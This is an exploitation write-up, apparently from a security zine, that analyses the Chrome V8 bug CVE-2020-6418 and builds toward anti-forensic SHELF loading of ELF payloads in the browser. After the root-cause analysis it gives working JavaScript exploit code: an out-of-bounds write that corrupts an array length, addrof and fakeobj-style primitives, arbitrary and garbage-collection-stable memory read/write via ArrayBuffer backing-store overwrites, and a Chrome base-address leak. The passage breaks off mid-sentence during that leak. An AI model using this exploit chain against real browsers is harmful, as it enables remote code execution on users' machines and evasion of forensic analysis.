▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                                 │ █   █ █ █ █   █       │
                                                                 │ █   █ █ █ █▀▀▀▀       │
                                                                 │ █   █   █ █     ▄     │
                                                                 │                 ▄▄▄▄▄ │
                                                                 │                 █   █ │
                                                                 │                 █   █ │
                                                                 │                 █▄▄▄█ │
                                                                 │                 ▄   ▄ │
                                                                 │                 █   █ │
                                                                 │                 █   █ │
                                                                 │                 █▄▄▄█ │
                                                                 │                 ▄▄▄▄▄ │
SHELF encounters of the elements kind                            │                   █   │
Enabling SHELF Loading in Chrome for fun and profit.             │                   █   │
~ ulexec                                                         └───────────────────█ ──┘

Introduction ─────────────────────────────────────────────────────────────────────────//──

I've been focusing lately on Chrome exploitation, and after a while I became curious of 
the idea to attempt to make SHELF loading work for Chrome exploits targeting Linux.

If you are new to the concept of SHELF, it is a reflective loading methodology me and my 
colleague _Anonymous from Tmp.0ut wrote about[1] last year.

SHELF-based payloads have a series of incentives, primarily as to be able to reflectively
deploy large dependency-safe payloads as ELF binaries, without the need to invoke any of 
the execve family of system calls.

Deploying SHELF payloads is not only convenient from a development perspective, but also 
from an anti-forensics perspective. This is because the analysis of SHELF images is often
more complex than conventional ELF binaries or shellcode, since SHELF images are 
statically compiled, but also position-independent. In addition, SHELF images can be 
crafted to avoid the use of common ELF data structures critical for image reconstruction, 
also leaving no process-hierarchy footprint in contrast to the execve family of system 

In conclusion, SHELF has great prospects to be used within the browser to reflectively 
load arbitrary payloads in the form of self-contained ELF binaries with anti-forensic 

In this article, I will demonstrate how SHELF loading can be achieved on a Chrome exploit,
starting from an initial set of relative arbitrary read/write primitives to V8's heap.

I also wanted to present a concise analysis of a vulnerability that would grant these 
kinds of initial exploitation primitives. I will be covering a vulnerability I've been 
recently analyzing, CVE-2020-6418. However, feel free to skip to the Achieving Relative 
Arbitrary Read/Write section if you are not interested in the root-cause analysis of this
particular vulnerability.

I would like to apologize in advance if there are still some mistakes or wrong assertions
I may have skipped over, or simply was unaware of during the creation of this article.

CVE-2020-6418 ────────────────────────────────────────────────────────────────────────//──

:: Regression Test Analysis ::

If we check the bug issue for this vulnerability, we can observe that a regression test[2]
file was committed, which will serve us as an intial PoC for the given vulnerability. 

This regression test looks as follows:

  // Copyright 2020 the V8 project authors. All rights reserved.
  // Use of this source code is governed by a BSD-style license that can be
  // found in the LICENSE file.
  // Flags: --allow-natives-syntax
  let a = [0, 1, 2, 3, 4];
  function empty() {}
  function f(p) {
    a.pop(Reflect.construct(empty, arguments, p));
  let p = new Proxy(Object, {
      get: () => (a[0] = 1.1, Object.prototype)
  function main(p) {

We can also inspect the bug report[3] for a nice overview of the vulnerability:

  Incorrect side effect modelling for JSCreate

  The function NodeProperties::InferReceiverMapsUnsafe [1] is responsible for inferring 
  the Map of an object. From the documentation: "This information can be either 
  "reliable", meaning that the object is guaranteed to have one of these maps at runtime,
  or "unreliable", meaning that the object is guaranteed to have HAD one of these maps.".
  In the latter case, the caller has to ensure that the object has the correct type, 
  either by using CheckMap nodes or CodeDependencies.

  On a high level, the InferReceiverMapsUnsafe function traverses the effect chain until 
  it finds the node creating the object in question and, at the same time, marks the 
  result as unreliable if it encounters a node without the kNoWrite flag [2], indicating
  that executing the node could have side-effects such as changing the Maps of an object.
  There is a mistake in the handling of kJSCreate [3]: if the object in question is not 
  the output of kJSCreate, then the loop continues *without* marking the result as 
  unreliable. This is incorrect because kJSCreate can have side-effects, for example by 
  using a Proxy as third argument to Reflect.construct. The bug can then for example be 
  triggered by inlining Array.pop and changing the elements kind from SMIs to Doubles 
  during the unexpected side effect.

As seen in the bug report, the vulnerability consists of incorrect side effect modeling 
for JSCreate. In other words, arbitrary JavaScript code can be invoked at some point 
during the processing of JSCreate in Ignition (V8's interpreter) generated instructions,
that would impact the behavior of Turbofan's JIT compilation pipeline.

If we modify the provided regression test to return the value popped from the array a, we
will see the following:

  $ out.gn/x64.release/d8 --allow-natives-syntax ../regress.js

The value popped after the third call to function main is 0, when in reality it should 
have returned 2. This means that the call to main(p) is somehow influencing the behavior
of array a's elements. We can see this clearly with the following modifications to the 
regression test:

  let a = [1.1, 1.2, 1.3, 1.4, 1.5];
  function empty() {}
  function f(p) {
    return a.pop(Reflect.construct(empty, arguments, p));
  let p = new Proxy(Object, {
      get: () => (a[0] = {}, Object.prototype)
  function main(p) {
    return f(p);

If we run the previous script we will see the following:

  $ out.gn/x64.release/d8 --allow-natives-syntax ./regress.js          

The elements kind of array a has transitioned from PACKED_DOUBLE_ELEMENTS to 
PACKED_ELEMENTS, however, popped values of a via Array.prototype.pop still return 
elements of type double. This transition of _element kind_ can be shown in the 
diagram below, showing the allowed element kinds transitions within V8's JSArrays:

At this point, we can only speculate what is provoking this behavior. However, based on 
observed triage of the regression test, this change of _elements kind_ is likely provoked
by the Proxy function, redeclaring a[0] indexed property as an JSObject instead of a 
double value.

We can also suspect that this redeclaration of one of the elements of a has likely 
provoked V8 to reallocate the array, propagating a different _elements kind_ to a, 
converting a's elements' to HeapNumber objects from double values. However, it's 
likely that the _elements kind_ inferred by Array.prototype.pop is incorrect, as 
double values are still being retrieved.

This can be shown in the following d8 run below, in which calls to the native function 
%DebugPrint have been placed in the appropriate places in the PoC script before and after
the transition of elements kind:

  $ out.gn/x64.debug/d8 --allow-natives-syntax ../regress.js
  DebugPrint: 0x3d04080c6031: [JSArray]
   - map: 0x3d0408281909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
   - prototype: 0x3d040824923d <JSArray[0]>
   - elements: 0x3d04080c6001 <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
   - length: 5
   - properties: 0x3d04080406e9 <FixedArray[0]> {
      #length: 0x3d04081c0165 <AccessorInfo> (const accessor descriptor)
   - elements: 0x3d04080c6001 <FixedDoubleArray[5]> {
           0-1: 1.1
             2: 1.2
             3: 1.3
             4: 1.4
  0x3d0408281909: [Map]
   - type: JS_ARRAY_TYPE
   - instance size: 16
   - inobject properties: 0
   - elements kind: PACKED_DOUBLE_ELEMENTS
   - unused property fields: 0
   - enum length: invalid
   - back pointer: 0x3d04082818e1 <Map(HOLEY_SMI_ELEMENTS)>
   - prototype_validity cell: 0x3d04081c0451 <Cell value= 1>
   - instance descriptors #1: 0x3d04082498c1 <DescriptorArray[1]>
   - transitions #1: 0x3d040824990d <TransitionArray[4]>Transition array #1:
       0x3d0408042f75 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3d0408281931 <Map(HOLEY_DOUBLE_ELEMENTS)>
   - prototype: 0x3d040824923d <JSArray[0]>
   - constructor: 0x3d0408249111 <JSFunction Array (sfi = 0x3d04081cc2dd)>
   - dependent code: 0x3d04080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
   - construction counter: 0
  DebugPrint: 0x3d04080c6031: [JSArray]
   - map: 0x3d0408281959 <Map(PACKED_ELEMENTS)> [FastProperties]
   - prototype: 0x3d040824923d <JSArray[0]>
   - elements: 0x3d04080c6295 <FixedArray[5]> [PACKED_ELEMENTS]
   - length: 2
   - properties: 0x3d04080406e9 <FixedArray[0]> {
      #length: 0x3d04081c0165 <AccessorInfo> (const accessor descriptor)
   - elements: 0x3d04080c6295 <FixedArray[5]> {
             0: 0x3d04080c6279 <Object map = 0x3d04082802d9>
             1: 0x3d04080c62bd <HeapNumber 1.1>
  Received signal 11 SEGV_ACCERR 3d04fff80006

We can leverage a type-confusion vulnerability when trying to access any of the elements 
of a, as we will be fetching a double representation of a HeapNumber object's tagged 
pointer. This vulnerability would enable us to trivially create addrof and fakeobj
primitives. However, we will see moving forward that this won’t work in newer V8 versions,
and that in order to exploit this vulnerability a different exploitation strategy will be

This is all there is to understand for now in relation to the supplied regression test. 
Now let's dig deep into identifying the root-cause analysis in v8's source code.

Root-Cause Analysis ──────────────────────────────────────────────────────────────────//──

Now that we have done a quick overview of the vulnerability and its implications from the 
regression test, let's take a deep dive into V8's source to identify the root-cause 
analysis for this vulnerability.

To start off, it is important to have in mind a high-level overview of Turbofan's JIT 
compilation pipeline shown in the following diagram:

Within the distinct Turbofan's phases, we can highlight the inlining/specialization phase,
in which lowering of builtin functions and reduction of specific nodes is performed, such
as JSCall reduction and JSCreate lowering:

  // Performs strength reduction on {JSConstruct} and {JSCall} nodes,
  // which might allow inlining or other optimizations to be performed afterwards.
  class V8_EXPORT_PRIVATE JSCallReducer final : public AdvancedReducer {
    // Flags that control the mode of operation.
    enum Flag { kNoFlags = 0u, kBailoutOnUninitialized = 1u << 0 };
    using Flags = base::Flags<Flag>;
    JSCallReducer(Editor* editor, JSGraph* jsgraph, JSHeapBroker* broker,
                  Zone* temp_zone, Flags flags,
                  CompilationDependencies* dependencies)
        : AdvancedReducer(editor),
          dependencies_(dependencies) {}

  // Lowers JSCreate-level operators to fast (inline) allocations.
  class V8_EXPORT_PRIVATE JSCreateLowering final
      : public NON_EXPORTED_BASE(AdvancedReducer) {
    JSCreateLowering(Editor* editor, CompilationDependencies* dependencies,
                     JSGraph* jsgraph, JSHeapBroker* broker, Zone* zone)
        : AdvancedReducer(editor),
          zone_(zone) {}
    ~JSCreateLowering() final = default;
    const char* reducer_name() const override { return "JSCreateLowering"; }
    Reduction Reduce(Node* node) final;
    Reduction ReduceJSCreate(Node* node);

For our previous PoC's Inlining phase, reduction of Array.prototype.pop built-in function
will be performed.

The function in charge of doing so is JSCallReducer::ReduceArrayPrototypePop(Node* node)
shown below:

  // ES6 section Array.prototype.pop ( )
  Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
    DisallowHeapAccessIf disallow_heap_access(FLAG_concurrent_inlining);
    DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
    CallParameters const& p = CallParametersOf(node->op());
    if (p.speculation_mode() == SpeculationMode::kDisallowSpeculation) {
      return NoChange();
    Node* receiver = NodeProperties::GetValueInput(node, 1);
    Node* effect = NodeProperties::GetEffectInput(node);
    Node* control = NodeProperties::GetControlInput(node);
    MapInference inference(broker(), receiver, effect);
    if (!inference.HaveMaps()) return NoChange();
    MapHandles const& receiver_maps = inference.GetMaps();
    std::vector<ElementsKind> kinds;
    if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds)) {
      return inference.NoChange();
    if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE();
    inference.RelyOnMapsPreferStability(dependencies(), jsgraph(),
                                        &effect, control, p.feedback());
  // Load the "length" property of the {receiver}.
  // Check if the {receiver} has any elements.
  // Load the elements backing store from the {receiver}.
  // Ensure that we aren't popping from a copy-on-write backing store.
  // Compute the new {length}.
  // Store the new {length} to the {receiver}.
  // Load the last entry from the {elements}.
  // Store a hole to the element we just removed from the {receiver}.
  // Convert the hole to undefined. Do this last, so that we can optimize
  // conversion operator via some smart strength reduction in many cases.
    ReplaceWithValue(node, value, effect, control);
    return Replace(value);

This function will fetch the map of the receiver node by invoking MapInference inference(broker(), receiver, effect)
to then retrieve its elements kind as well as implement the logic for Array.protype.pop.
Major operations performed by this function are summarized by the comments in the source
code shown above for sake of simplicity.

We should also highlight the call to inference.RelyOnMapsPreferStability, which we will
cover in a later stage. For now, let's focus on the call to MapInference constructor 
along with some of its instance methods. These are shown below:
  MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
      : broker_(broker), object_(object) {
    ZoneHandleSet<Map> maps;
    auto result =
        NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &maps);
    maps_.insert(maps_.end(), maps.begin(), maps.end());
    maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps)
                      ? kUnreliableDontNeedGuard
                      : kReliableOrGuarded;
    DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);
  MapInference::~MapInference() { CHECK(Safe()); }
  bool MapInference::Safe() const { return maps_state_ != kUnreliableNeedGuard; }
  void MapInference::SetNeedGuardIfUnreliable() {
    if (maps_state_ == kUnreliableDontNeedGuard) {
      maps_state_ = kUnreliableNeedGuard;
  void MapInference::SetGuarded() { maps_state_ = kReliableOrGuarded; }
  bool MapInference::HaveMaps() const { return !maps_.empty(); }

We can notice that at the beginning of the function, a call to NodeProperties::InferReceiverMapsUnsafe
is performed. This function walks the effect chain in search for a node that can give 
hints into inferring the map of the receiver object. At the same time, this function is
also in charge of marking the result as unreliable if it encounters a node without the 
kNoWrite flag, indicating that executing the node could have side-effects such as changing
the map of an object.

This function returns an enum composed of three possible values which are the following:

  // Walks up the {effect} chain to find a witness that provides map
  // information about the {receiver}. Can look through potentially
  // side effecting nodes.
    enum InferReceiverMapsResult {
      kNoReceiverMaps,         // No receiver maps inferred.
      kReliableReceiverMaps,   // Receiver maps can be trusted.
      kUnreliableReceiverMaps  // Receiver maps might have changed (side-effect).

A summerized overview of the implementation of NodeProperties::InferReceiverMapsUnsafe is
shown below, highlighting the most important parts of this function:

  // static
  NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
      JSHeapBroker* broker, Node* receiver, Node* effect,
      ZoneHandleSet<Map>* maps_return) {
    HeapObjectMatcher m(receiver);
    if (m.HasValue()) {
      HeapObjectRef receiver = m.Ref(broker);
      // We don't use ICs for the Array.prototype and the Object.prototype
      // because the runtime has to be able to intercept them properly, so
      // we better make sure that TurboFan doesn't outsmart the system here
      // by storing to elements of either prototype directly.
      if (!receiver.IsJSObject() ||
          !broker->IsArrayOrObjectPrototype(receiver.AsJSObject())) {
        if (receiver.map().is_stable()) {
          // The {receiver_map} is only reliable when we install a stability
          // code dependency.
          *maps_return = ZoneHandleSet<Map>(receiver.map().object());
          return kUnreliableReceiverMaps;
    InferReceiverMapsResult result = kReliableReceiverMaps;
    while (true) {
      switch (effect->opcode()) {
        case IrOpcode::kJSCreate: {
          if (IsSame(receiver, effect)) {
            base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
            if (initial_map.has_value()) {
              *maps_return = ZoneHandleSet<Map>(initial_map->object());
              return result;
            // We reached the allocation of the {receiver}.
            return kNoReceiverMaps;
            //result = kUnreliableReceiverMaps;  
            // ^ applied patch: JSCreate can have a side-effect.        


In this function, we can focus on the switch case nested in a while loop that traverses
the effect chain. Each case in the switch case consists of specific nodes denoting 
Ignition opcodes relevant for map inference, in particular the opcode IrOpcode::kJSCreate.

This opcode will be generated for the invocation of Reflect.construct. Eventually, the 
while loop will run out of nodes to check and will fail to find an effect node with a 
map similar to the one of the receiver since the receiver map was changed via the Proxy
function invocation in Reflect.construct. However, the function will still return a result
of kReliableReceiverMaps despite having the receiver's map not being reliable.

We can see the patch applied to this function commented out, highlighting where the 
vulnerability resides. The invocation of Reflect.construct will in fact be able to 
change the maps of the receiver node, in this case the JSArray a. However, due to a 
logical error, NodeProperties::InferReceiverMapsUnsafe will fail to mark this node as
kUnreliableReceiverMaps, as to denote that the receiver maps may have changed.

The implications of not marking this node as unreliable will become clear by the result
of the invokation of MapInference::RelyOnMapsPreferStability by JSCallReducer::ReduceArrayPrototypePop
shown below:

  bool MapInference::RelyOnMapsPreferStability(
      CompilationDependencies* dependencies, JSGraph* jsgraph, Node** effect,
      Node* control, const FeedbackSource& feedback) {
    if (Safe()) return false;
    if (RelyOnMapsViaStability(dependencies)) return true;
    CHECK(RelyOnMapsHelper(nullptr, jsgraph, effect, control, feedback));
    return false;
  bool MapInference::RelyOnMapsHelper(CompilationDependencies* dependencies,
                                      JSGraph* jsgraph, Node** effect,
                                      Node* control,
                                      const FeedbackSource& feedback) {
    if (Safe()) return true;
    auto is_stable = [this](Handle<Map> map) {
      MapRef map_ref(broker_, map);
      return map_ref.is_stable();
    if (dependencies != nullptr &&
        std::all_of(maps_.cbegin(), maps_.cend(), is_stable)) {
      for (Handle<Map> map : maps_) {
        dependencies->DependOnStableMap(MapRef(broker_, map));
      return true;
    } else if (feedback.IsValid()) {
      InsertMapChecks(jsgraph, effect, control, feedback);
      return true;
    } else {
      return false;

We can observe that a call to MapInference::Safe() will be done, and if succesful, the 
function will return immediately. The implementation of this function is the following:

  bool MapInference::Safe() const {
      return maps_state_ != kUnreliableNeedGuard; }

Because the JSCreate node was never marked as kUnreliableReceiverMaps, this function will
always return true. This comparative operation can be shown below.

  maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps)
                      ? kUnreliableDontNeedGuard
                      : kReliableOrGuarded;

The code path that should mitigate this vulnerability is the one in which the function 
InsertMapChecks is invoked. This function will be in charge to add a CheckMaps node before
the effect nodes loading and storing the popped element from the receiver object takes 
place, assuring that a correct map will be used for these operations.

We can see that if we invoke Reflect.construct outside the context of Array.prototype.pop,
a CheckMaps node is inserted, as it should for the conventional use of this function:

However, if the invocation of Reflect.construct is within Array.protoype.pop context, 
this will trigger the vulnerability and Turbofan will assume that the map of the receiver
object is reliable and will not add a CheckMaps node as show below:

Exploit Strategy ─────────────────────────────────────────────────────────────────────//──

As previously mentioned, this vulnerability allows us to trivially craft addrof and 
fakeobj primitives. A common technique to exploit the current scenario, in which only 
addrof and fakeobj primitives are available without OOB read/write, is by crafting a fake
ArrayBuffer object with an arbitrary backing pointer. However, this approach becomes 
difficult with V8's pointer compression enabled[4] since version 8.0.[5]

This is because with pointer compression, tagged pointers are stored within V8's heap as 
dwords, while double values are stored as qwords. This implicitly impacts our ability to 
create an effective fakeobj primitive for this specific scenario.

█ If you are interested in knowing how this exploit would look like without pointer        compression, here is a really nice writeup by @HawaiiFive0day.[6]                       

In order to exploit this vulnerability, we have to use a different approach that will
leverage the mechanics of V8's pointer compression to our advantage.

As previously mentioned, when a new indexed property of different _elements kind_ gets
stored into array a, the array will be reallocated, and their elements updated 
corresponding to the new array's _elements kind_ transition.

However, this leaves for an interesting caveat that is useful for absuing pointer 
compression-enabled element transitioning. If the elements of the subject array are 
originally of elements kind PACKED_DOUBLE_ELEMENTS and this array is transitioning to 
PACKED_ELEMENTS, this will ultimately create an array half of the size of the original 
one, since PACKED_ELEMENTS corresponds to elements stored as dword tagged pointers when
pointer compression is enabled, in contrast to double values stored as qwords as 
previously mentioned.

Since the map inference of the array is incorrect after the array has transitioned to 
PACKED_ELEMENTS and any JSArray builtin function is subject to this wrong map inference,
we can abuse this scenario to achieve OOB read/write via the use of Array.prototype.pop
and Array.prototype.push.

However, there is a more convenient avenue for exploitation documented by Exodus 
Intelligence.[7] Instead of recurrently using JSArray builtin functions as Array.prototype.pop
and Array.prototype.push to read and write memory, a single OOB write can be leveraged
to overwrite the length field of an adjacent array in memory. This will enable an easier
approach to build stronger primitives moving forward. Here is a PoC for this exploitation

  let a = [,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1.1];
  var b;
  function empty() {}
  function f(nt) {
          Reflect.construct(empty, arguments, nt)) === Proxy
             ? 2.2
             : 2261634.000029185 //0x414141410000f4d2 -> 0xf4d2 = 31337 * 2
  let p = new Proxy(Object, {
      get: function() {
          a[0] = {};
          b = [1.2, 1.2];
          return Object.prototype;
  function main(o) {
    return f(o);
  console.log(b.length);   // prints 31337

Achieving Relative Arbitrary Read/Write ──────────────────────────────────────────────//──

Once we have achieved OOB read/write and successfully overwritten the length of an 
adjacent array, we can now read/write into adjacent memory.

From this point forward, we can neglect the original vulnerability, and think of the next
sections independently of the specific vulnerability as long as we can achive OOB 
read/write from a JSArray with PACKED_DOUBLE_ELEMENTS _elements kind_.

In order to read/write memory with more flexibility, we need to build a set of read/write 
primitives as well as to gain the ability to retrieve the address of arbitrary objects via
an addrof primitive.

This can be done by replacing the value of the elements tagged pointer of an adjacent 
double array (c) via our OOB double array (b). If we replace the value of this field we 
will be able to dereference its contents while accessing the elements of c, ultimately 
enabling us to read or write to tagged pointers.

In addition, an addrof primitive can be achieved by leaking the maps of adjacent 
boxed/unboxed arrays, and interchanging these also in an adjacent double array.

The implementation of these primitives having our preliminar OOB access can be shown 
as follows:

  var a = [,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1.1];
  var b;
  //triggering Turbofan side-effect bug leveraging OOB write to b
  // adjacent OOB-accesible arrays from double array b
  var c = [1.1, 1.1, 1.1]
  var d = [{}, {}];
  var e = new Float64Array(8)
  //leaking maps of boxed/unboxed adjacent arrays
  var flt_map = ftoi(b[14]) >> 32n;
  var obj_map = ftoi(b[25]) >> 32n;
  function addrof(obj) {
      let tmp = b[14]; // accesing array c's map tagged pointer    
      let tmp_elm = c[0];
      // overwritting only higher dword
      b[14] = itof(((obj_map << 32n) + (ftoi(tmp) & 0xffffffffn)));
      c[0] = obj;
      b[14] = itof(((flt_map << 32n) + (ftoi(tmp) & 0xffffffffn)));  
      let leak = itof(ftoi(c[0]) & 0xffffffffn);
      b[14] = tmp;
      c[0] = tmp_elm;
      return leak;
  function weak_read(addr) {
      let tmp = b[15]; // accessing elements pointer of c
      b[15] = itof((((ftoi(addr)-8n) << 32n) + (ftoi(tmp) & 0xffffffffn)));
      let result = c[0];
      b[15] = tmp;
      return result;
  function weak_write(addr, what) {
      let tmp = b[15];
      b[15] = itof((((ftoi(addr)-8n) << 32n) + (ftoi(tmp) & 0xffffffffn)));
      c[0] = what;
      b[15] = tmp;

Achieving Unstable Arbitrary Read/Write ──────────────────────────────────────────────//──

Unfortunately, this primitive is restricted to 8 bytes per operation to V8's tagged 
pointers, hence the weak prefix as these primitives are relative to V8's heap.

In order to circumvent this limitation, we will have to perform the following steps to 
build a stronger read/write primitive:

- Leak isolate root to resolve any V8 tagged pointer to its unboxed representation.
- Overwrite the unboxed backing_store pointer of an ArrayBuffer and access it via a 
  DataView object, enabling us to read and write memory to unboxed addresses, with sizes
  not limited to 8 bytes per operation.

In order to leak the value of isolate root, we can leverage our weak_read primitive
to leak the value of external_pointer from a typed array. To illustrate this, let's take
a look at the fields of a Uint8Array object:

  d8> a = new Uint8Array(8)
  d8> %DebugPrint(a)
  DebugPrint: 0x3fee080c5e69: [JSTypedArray]
   - map: 0x3fee082804e1 <Map(UINT8ELEMENTS)> [FastProperties]
   - prototype: 0x3fee082429b9 <Object map = 0x3fee08280509>
   - elements: 0x3fee080c5e59 <ByteArray[8]> [UINT8ELEMENTS]
   - embedder fields: 2
   - buffer: 0x3fee080c5e21 <ArrayBuffer map = 0x3fee08281189>
   - byte_offset: 0
   - byte_length: 8
   - length: 8
   - data_ptr: 0x3fee080c5e60  <-------------------------------
     - base_pointer: 0x80c5e59
     - external_pointer: 0x3fee00000007
   - properties: 0x3fee080406e9 <FixedArray[0]> {}
   - elements: 0x3fee080c5e59 <ByteArray[8]> {
           0-7: 0
   - embedder fields = {
      0, aligned pointer: (nil)
      0, aligned pointer: (nil)
  0x3fee082804e1: [Map]
   - instance size: 68
   - inobject properties: 0
   - elements kind: UINT8ELEMENTS
   - unused property fields: 0
   - enum length: invalid
   - stable_map
   - back pointer: 0x3fee0804030d <undefined>
   - prototype_validity cell: 0x3fee081c0451 <Cell value= 1>
   - instance descriptors (own) #0: 0x3fee080401b5 <DescriptorArray[0]>
   - prototype: 0x3fee082429b9 <Object map = 0x3fee08280509>
   - constructor: 0x3fee08242939 <JSFunction Uint8Array (sfi = 0x3fee081c65c1)>
   - dependent code: 0x3fee080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
   - construction counter: 0

The value of data_ptris, the result of the addition of base_pointer and external_pointer,
and the value of external_pointer, is ultimately the value we want. If we apply a binary
mask to negate the value of the last byte of external_pointer, we will retrieve the value
of isolate root -- V8's heap base:

  var root_isolate_addr = itof(ftoi(addrof(e)) + BigInt(5*8));
  var root_isolate = itof(ftoi(weak_read(root_isolate_addr)) & ~(0xffn))
  var bff = new ArrayBuffer(8)
  var buf_addr = addrof(bff);  
  var backing_store_addr = itof(ftoi(buf_addr) + 0x14n);
  function arb_read(addr, len, boxed=false) {
      if (boxed && ftoi(addr) % 2n != 0) {
          addr = itof(ftoi(root_isolate) | ftoi(addr) - 1n);
      weak_write(backing_store_addr, addr);
      let dataview = new DataView(bff);
      let result;
      if (len == 1) {
          result = dataview.getUint8(0, true)
      } else if (len == 2) {
          result = dataview.getUint16(0, true)
      } else if (len == 4) {
          result = dataview.getUint32(0, true)
      } else {
          result = dataview.getBigUint64(0, true);
      return result;
  function arb_write(addr, val, len, boxed=false) {
      if (boxed && ftoi(addr) % 2n != 0) {
          addr = itof(ftoi(root_isolate) | ftoi(addr) - 1n);
      weak_write(backing_store_addr, addr);
      let dataview = new DataView(bff);
      if (len == 1) {
          dataview.setUint8(0, val, true)
      } else if (len == 2) {
          dataview.setUint16(0, val, true)
      } else if (len == 4) {
          dataview.setUint32(0, val, true)
      } else {
          dataview.setBigUint64(0, val, true);

Achieving Stable Arbitrary Read/Write ────────────────────────────────────────────────//──

Browsers heavily rely on features such as Garbage Collection in order to autonomously free
orphan objects (objects that are not being referenced by any other object).

However, we will soon cover how this introduces reliability issues in our exploit. This 
paper will not be covering V8 Garbage Collection internals extensively as it is a broad 
subject, but I highly encourage reading this[8] reference of Orinoco (V8 GC) and this[9]
on V8 memory management as an initial introduction to the subject.

In summary, the V8 heap is split into generations, and objects are moved through these 
generations if they survive a GC:

In order to showcase an example of reliability problems introduced by the garbage 
collector, lets showcase Orinoco's Minor GC, also known as Scavenge which is in charge
of garbage-collecting the Young generation. When this GC takes place, live objects get 
moved from from-space to to-space within V8's Young Generation heap:

In order to illustrate this, let's run the following script:

  function force_gc() {
      for (var i = 0; i < 0x80000; ++i) {
          var a = new ArrayBuffer();
  var b;
  var c = [1.1, 1.1, 1.1]
  var d = [{}, {}];
  console.log("[+] Forcing GC...")

If we see the output of this script, we will see the following:

  0x350808087859 <JSArray[1073741820]>
  0x350808087889 <JSArray[3]>
  0x3508080878e1 <JSArray[2]>
  [+] Forcing GC...
  0x3508083826e5 <JSArray[1073741820]>
  0x3508083826f5 <JSArray[3]>
  0x350808382705 <JSArray[2]>

As we can notice, the addresses of all the objects have changed after the first Scavenge GC,
as they were evacuated to to-space young generation region. This entails that if objects 
change in location, the memory layout that our exploitation primitives are built on top of 
will also change, and consequently our exploit primitives break.

This specifically impacts primitives build on top of OOB reads and writes, as these will 
be misplaced by reading to-space memory rather than from-space memory, having little
control over the layout of live objects in this new memory region, and even if we do, 
remaining live objects will eventually be promoted to Old Space.

This is important to understand, because our addrof primitive relies on OOB reads and 
writes, as well as our arb_read and arb_write primitives, which are bound to our 
weak_write primitive that is prone to the same problem.

There are likely several solutions to circumvent this problem. It is technically possible
to craft our exploitation primitives after the promotion of dedicated objects to Old Space.
However, there is always a possibility of an Evacuation GC to be triggered on a Major GC,
which will provoke objects from Old Space to be rearranged for sake of memory 

Although Major GCs are not triggered that often, and Old Space region has to be 
fragmented from objects to be rearranged, leveraging objects in Old Space may not 
be a long-term realiable solution.

Another approach is to use objects placed within Large Object Space region since these 
objects will not be garbage collected. I first saw this technique while reading Brendon 
Tiszka's awesome post[10], in which he points out that if an object size exceeds the 
constant kMaxRegularHeapObjectSize[11] (defined as 1048576) that object will be placed 
in Large Object Space.

Following this premise, we can construct an addrof primitive resilient to garbage 

  /// constructing stable addrof
  let lo_array_obj = new Array(1048577);
  let elements_ptr = weak_read(itof(ftoi(addrof(lo_array_obj)) + 8n));
  elements_ptr = itof(ftoi(elements_ptr) & 0xffffffffn)
  let leak_array_buffer = new ArrayBuffer(0x10);
  let dd = new DataView(leak_array_buffer)
  let leak_array_buffer_addr = ftoi(addrof(leak_array_buffer))
  let backing_store_ptr = itof(leak_array_buffer_addr + 0x14n);
  elements_ptr = itof(ftoi(root_isolate) | ftoi(elements_ptr) -1n);
  weak_write(backing_store_ptr, elements_ptr)
  function stable_addrof(obj) {
      lo_array_obj[0] = obj;
      return itof(BigInt(dd.getUint32(0x8, true)));

In order to create a set of stable arbitrary read/write primitives, we have to build 
these primitives without relying on V8 objects that will be garbage collected.

In order to achiveve this, we can overwrite the backing store of an ArrayBuffer with
an arbitrary unboxed pointer that is not held within the V8 heap.

This limits us to use any address residing within V8's heap. Ironically, a neat way to
gain arbitrary read/write to any arbitrary address on the V8 heap using this technique
(as showcased by the exploit in Brendon's post) is by leveraging our previously leaked
root_isolate as the ArrayBuffer's backing store value. This address denoting the V8 
heap base won't change for the lifetime of the current process. Modifying the bound 
DataView object length will also enable using the V8 compressed untagged pointers 
as offsets:

  // constructing stable read/write for v8 heap
  let heap = new ArrayBuffer(8);
  let heap_accesor = new DataView(heap);
  let heap_addr_backing_store =  itof(ftoi(stable_addrof(heap)) + 0x14n);
  let heap_accesor_length = itof(ftoi(stable_addrof(heap_accesor)) + 0x18n);
  // overwritting ArrayBuffer backing store
  weak_write(heap_addr_backing_store, root_isolate)
  // overwritting Dataview length
  weak_write(heap_accesor_length, 0xffffffff);

We will be using this technique in order to build accessors to distinct memory regions 
outside of V8 heap moving forward.

Obtaining relevant leaks ─────────────────────────────────────────────────────────────//──

Now that we have the capability to read and write arbitrary memory in a stable manner, we
now have to locate specific memory regions that we will need to access in order to craft 
our SHELF loader.

The following diagram illustrates the pointer relationships of the different memory 
regions we are interested in:

:: Leaking Chrome Base ::

Leaking chrome's base is relatively simple and can be illustrated in the following code 

  function get_image_base(ptr) {
      let dword = 0;
      let centinel = ptr;
      while (dword !== 0x464c457f) {
          centinel -= 0x1000n;
          dword = arb_read(itof(centinel), 4);
      return centinel;
  let div = window.document.createElement('div');
  let div_addr = stable_addrof(div);
  let _HTMLDivElement = itof(ftoi(div_addr) + 0xCn);
  let HTMLDivElement_addr = weak_read(_HTMLDivElement);
  let ptr = itof((ftoi(HTMLDivElement_addr) - kBaseSearchSpaceOffset) & ~(0xfffn));
  let chrome_base = get_image_base(ftoi(ptr));

In order to leak the base address of Chrome, we start by creating an arbitrary DOM 
